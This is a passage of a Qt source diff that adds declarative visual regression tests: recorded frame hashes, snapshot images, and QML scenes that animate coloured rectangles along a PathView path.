+ } + Frame { + msec: 4464 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4480 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4496 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4512 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4528 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4544 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4560 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4576 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4592 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4608 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4624 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4640 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4656 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4672 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4688 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4704 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4720 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4736 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4752 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4768 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4784 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4800 + image: "test-pathview.4.png" + } + Frame { + msec: 4816 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4832 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4848 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4864 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4880 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4896 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4912 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4928 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4944 + hash: "299b24eae7720e1711744b23335bca8c" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4960 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4976 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4992 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5008 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5024 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5040 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5056 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5072 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5088 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5104 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5120 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5136 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5152 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5168 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5184 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5200 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 5216 + hash: "299b24eae7720e1711744b23335bca8c" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml new file mode 100644 index 0000000..c6d71d5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml @@ -0,0 +1,62 @@ +import Qt 4.6 + +Rectangle { + width: 800; height: 450 + //Same as test-pathview, but with pathItemCount < model.count + + ListModel { + id: rssModel + ListElement { lColor: "red" } + ListElement { lColor: "green" } + ListElement { lColor: "yellow" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "gray" } + ListElement { lColor: "brown" } + ListElement { lColor: "thistle" } + } + + Component { + id: photoDelegate + Rectangle { + id: wrapper + width: 85; height: 85; color: lColor + scale: wrapper.PathView.scale + + transform: Rotation { + id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 + axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle + } + } + } + + PathView { + id: pathView; model: rssModel; delegate: photoDelegate + y: 100; width: 800; height: 330; pathItemCount: 6; z: 1 + focus: true + path: Path { + startX: -50; startY: 40; + + PathAttribute { name: "scale"; value: 0.5 } + PathAttribute { name: "angle"; value: -45 } + + PathCubic { + x: 400; y: 220 + control1X: 140; control1Y: 40 + control2X: 210; control2Y: 220 + } + + PathAttribute { name: "scale"; value: 1.2 } + PathAttribute { name: "angle"; value: 0 } + + PathCubic { + x: 850; y: 40 + control2X: 660; control2Y: 40 + control1X: 590; control1Y: 220 + } + + PathAttribute { name: "scale"; value: 0.5 } + PathAttribute { name: "angle"; value: 45 } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml new file mode 100644 index 0000000..0adfa02 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml @@ -0,0 +1,62 @@ +import Qt 4.6 + +Rectangle { + width: 800; height: 450 + + ListModel { + id: rssModel + ListElement { lColor: "red" } + ListElement { lColor: "green" } + ListElement { lColor: "yellow" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "gray" } + ListElement { lColor: "brown" } + ListElement { lColor: "thistle" } + } + + Component { + id: photoDelegate + Rectangle { + id: wrapper + width: 85; height: 85; color: lColor + scale: wrapper.PathView.scale + + MouseArea { anchors.fill: parent } + + transform: Rotation { + id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 + axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle + } + } + } + + PathView { + id: photoPathView; model: rssModel; delegate: photoDelegate + y: 100; width: 800; height: 330; pathItemCount: 10; z: 1 + path: Path { + startX: -50; startY: 40; + + PathAttribute { name: "scale"; value: 0.5 } + PathAttribute { name: "angle"; value: -45 } + + PathCubic { + x: 400; y: 220 + control1X: 140; control1Y: 40 + control2X: 210; control2Y: 220 + } + + PathAttribute { name: "scale"; value: 1.2 } + PathAttribute { name: "angle"; value: 0 } + + PathCubic { + x: 850; y: 40 + control2X: 660; control2Y: 40 + control1X: 590; control1Y: 220 + } + + PathAttribute { name: "scale"; value: 0.5 } + PathAttribute { name: "angle"; value: 45 } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png new file mode 100644 index 0000000..f474afe Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png new file mode 100644 index 0000000..8b7ae74 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png new file mode 100644 index 0000000..9088bb4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png new file mode 100644 index 0000000..18cd429 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png new file mode 100644 index 0000000..739afc1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png new file mode 100644 index 0000000..93f0682 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml new file mode 100644 index 0000000..7091bb3 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml @@ -0,0 +1,1603 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 32 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 48 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 64 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 80 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 96 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 112 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 128 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 144 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 160 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 176 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 192 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 208 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 224 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 240 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 256 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 272 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 288 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 304 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 320 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 336 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 352 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 368 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 384 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 400 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 416 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 432 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 448 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 464 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 480 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 496 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 512 + hash: "ee42cfa8cbbd67becb7d50998d26fe73" + } + Frame { + msec: 528 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 544 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 560 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 576 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 592 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 608 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 624 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 640 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 656 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 672 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 688 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 704 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 720 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 736 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 752 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 768 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 784 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 800 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 816 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 832 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 848 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 864 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 880 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 896 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 912 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 928 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 944 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 960 + image: "dynamic.0.png" + } + Frame { + msec: 976 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 992 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 1008 + hash: "62727b1025930e19bb03c8f533a12ced" + } + Frame { + msec: 1024 + hash: "3e52e7d7d428cf1b850cb9c60dbb3c21" + } + Frame { + msec: 1040 + hash: "64f75ab14c979d33d6e0c0d86b76cd35" + } + Frame { + msec: 1056 + hash: "c198a48f4050f176465649d203d6e09a" + } + Frame { + msec: 1072 + hash: "6dd8cee5a585a96e78f2cf7478c4da62" + } + Frame { + msec: 1088 + hash: "09edfbce2ea4b8a547f769ce709dcb6b" + } + Frame { + msec: 1104 + hash: "e93d01aa6e4f5d3fc82cf5a008e3ea17" + } + Frame { + msec: 1120 + hash: "0e2e7b5eec0e62853972b0139b8c17c6" + } + Frame { + msec: 1136 + hash: "26d4f54628ce20f5665bdc6ddc7f3b6a" + } + Frame { + msec: 1152 + hash: "59836aa6eff85b0152be352b97076d89" + } + Frame { + msec: 1168 + hash: "47cc9894096731a52ca342ab04df9aad" + } + Frame { + msec: 1184 + hash: "ec95dd3b34a0f17f6fb9b5bedab73653" + } + Frame { + msec: 1200 + hash: "e32c2b70882828b5082ca3ec889a0dde" + } + Frame { + msec: 1216 + hash: "68d3f8e9c9d5388a6f8360368c8f4d2f" + } + Frame { + msec: 1232 + hash: "17378b2bd8bde7f357fa5463f457c7b2" + } + Frame { + msec: 1248 + hash: "03db786cd54ec34ce8db15953a5fc847" + } + Frame { + msec: 1264 + hash: "9e22a82a622ed0287c44cc629059d5bd" + } + Frame { + msec: 1280 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1296 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1312 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1328 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1344 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1360 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1376 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1392 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1408 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1424 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1440 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1456 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1472 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1488 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1504 + hash: "42955cd23747f7c37d0f0229c0955e90" + } + Frame { + msec: 1520 + hash: "981fb1ee75e307b548a32df08a86f4cd" + } + Frame { + msec: 1536 + hash: "f77568307e93d8cd9f0ae417cc19d6e3" + } + Frame { + msec: 1552 + hash: "3bdd4468e26aceee0dad6b3b97b1c1ea" + } + Frame { + msec: 1568 + hash: "252c9ebc2c32755b2289ee1b03877fe3" + } + Frame { + msec: 1584 + hash: "64169b7eb7b7ae8573556c5f80230965" + } + Frame { + msec: 1600 + hash: "4965dfa709a9ac7d8f7dfb4bf8303c65" + } + Frame { + msec: 1616 + hash: "8c53cf92510154087341ac65a93aae5a" + } + Frame { + msec: 1632 + hash: "4dd7502e3e238743d2f3cf038270491e" + } + Frame { + msec: 1648 + hash: "cd9a58316837eb92f4ac92dbd86bdba3" + } + Frame { + msec: 1664 + hash: "5de043e3ac8696b59293a2fa60ed7e65" + } + Frame { + msec: 1680 + hash: "1bf42a6f6be5a3468d2f47cccfac761e" + } + Frame { + msec: 1696 + hash: "ca05510c1ad25e5d3b002603f4379a09" + } + Frame { + msec: 1712 + hash: "f6904a918a6475f1965d74372e52a4b1" + } + Frame { + msec: 1728 + hash: "9e2312ddfc1648b615288107a06c9f9c" + } + Frame { + msec: 1744 + hash: "95c470273b1cb08d4d602efcce339554" + } + Frame { + msec: 1760 + hash: "dade96f707d4a21885480e13b258b7e9" + } + Frame { + msec: 1776 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1792 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1808 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1824 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1840 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1856 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1872 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1888 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1904 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1920 + image: "dynamic.1.png" + } + Frame { + msec: 1936 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1952 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1968 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 1984 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 2000 + hash: "0bfbd46f1d4cf562253fb383776cb601" + } + Frame { + msec: 2016 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2032 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2048 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2064 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2080 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2096 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2112 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2128 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2144 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2160 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2176 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2192 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2208 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2224 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2240 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2256 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2272 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2288 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2304 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2320 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2336 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2352 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2368 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2384 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2400 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2416 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2432 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2448 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2464 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2480 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2496 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2512 + hash: "6fc83e8d4ac99b34062c122a8f7f1850" + } + Frame { + msec: 2528 + hash: "fabf4e535bc4cc17497939d2eeae4a2d" + } + Frame { + msec: 2544 + hash: "a7981035f46869f5ae824d0c58b263b2" + } + Frame { + msec: 2560 + hash: "86d8e369bdceb499b244f84ed9e80ba3" + } + Frame { + msec: 2576 + hash: "e28a7dc7ea8690da75670b5a6e93a26b" + } + Frame { + msec: 2592 + hash: "bf4e815360a67bd80732bd8812269b21" + } + Frame { + msec: 2608 + hash: "a6f8c56cb93da8acc0c90e35596a60d4" + } + Frame { + msec: 2624 + hash: "1e60656f0758605169e51b57bd03af36" + } + Frame { + msec: 2640 + hash: "c069b26b9fae47e0104070d702ba9562" + } + Frame { + msec: 2656 + hash: "457eb2ca1adff6cbb158afa140b2f20b" + } + Frame { + msec: 2672 + hash: "4e5e750b0d94b6777aebff85d38225d9" + } + Frame { + msec: 2688 + hash: "96d9840c2354a8786a8470309be97544" + } + Frame { + msec: 2704 + hash: "ac7570cc7eeff1acd8c47f2d9328f8be" + } + Frame { + msec: 2720 + hash: "887f937bb263c54f29659f27f2b7a3e3" + } + Frame { + msec: 2736 + hash: "616371183c82b97f69a4c6e2367b8066" + } + Frame { + msec: 2752 + hash: "36de8ffa9abe850fb681b37aea45ef8b" + } + Frame { + msec: 2768 + hash: "0505101f0edaaf7ff17deeaaddc6bbf9" + } + Frame { + msec: 2784 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2800 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2816 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2832 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2848 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2864 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2880 + image: "dynamic.2.png" + } + Frame { + msec: 2896 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2912 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2928 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2944 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2960 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2976 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 2992 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 3008 + hash: "e8c53dd8343d7d4c384c2f8507ff0631" + } + Frame { + msec: 3024 + hash: "99e4d853d64a381e8db27707b5ff2b25" + } + Frame { + msec: 3040 + hash: "ab0e62aeffc0d57a5e1d63e6cf49b809" + } + Frame { + msec: 3056 + hash: "4ab11bbf1fb6adb0eec8895f78a24a41" + } + Frame { + msec: 3072 + hash: "634ff2ceb39a3f263a3362238a4ae252" + } + Frame { + msec: 3088 + hash: "7f4856873dc23a02297b2497101de9b9" + } + Frame { + msec: 3104 + hash: "bca3919e9d8e6dc5badd8090401dc934" + } + Frame { + msec: 3120 + hash: "824bfe40c3657cfe1368563640e4cfce" + } + Frame { + msec: 3136 + hash: "f831c1600f68bda139697c406ca70c5e" + } + Frame { + msec: 3152 + hash: "f8102ca251a9ff46a8fe5a24cff0d2d6" + } + Frame { + msec: 3168 + hash: "f33407ad684aa16efc6615d1cf6fa4b9" + } + Frame { + msec: 3184 + hash: "a73d27f776a6ebfc90309b34421700e5" + } + Frame { + msec: 3200 + hash: "ff2a4e2663fc50dfec35152f0e79f935" + } + Frame { + msec: 3216 + hash: "4935f5f58f2672e9d240625151044bda" + } + Frame { + msec: 3232 + hash: "f3ad5c203f621fe4d5d321c3c1880743" + } + Frame { + msec: 3248 + hash: "d4fb7cd2e1f6a533dae65ddbb50da8ac" + } + Frame { + msec: 3264 + hash: "91705e9234c4f02d0a730f6270f9e95f" + } + Frame { + msec: 3280 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3296 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3312 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3328 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3344 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3360 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3376 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3392 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3408 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3424 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3440 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3456 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3472 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3488 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3504 + hash: "41e177bec783497b996d6d5f6dac1a15" + } + Frame { + msec: 3520 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3536 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3552 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3568 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3584 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3600 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3616 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3632 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3648 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3664 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3680 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3696 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3712 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3728 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3744 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3760 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3776 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3792 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3808 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3824 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3840 + image: "dynamic.3.png" + } + Frame { + msec: 3856 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3872 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3888 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3904 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3920 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3936 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3952 + hash: "496dc6261695bcf04a8e574146544e98" + } + Frame { + msec: 3968 + hash: 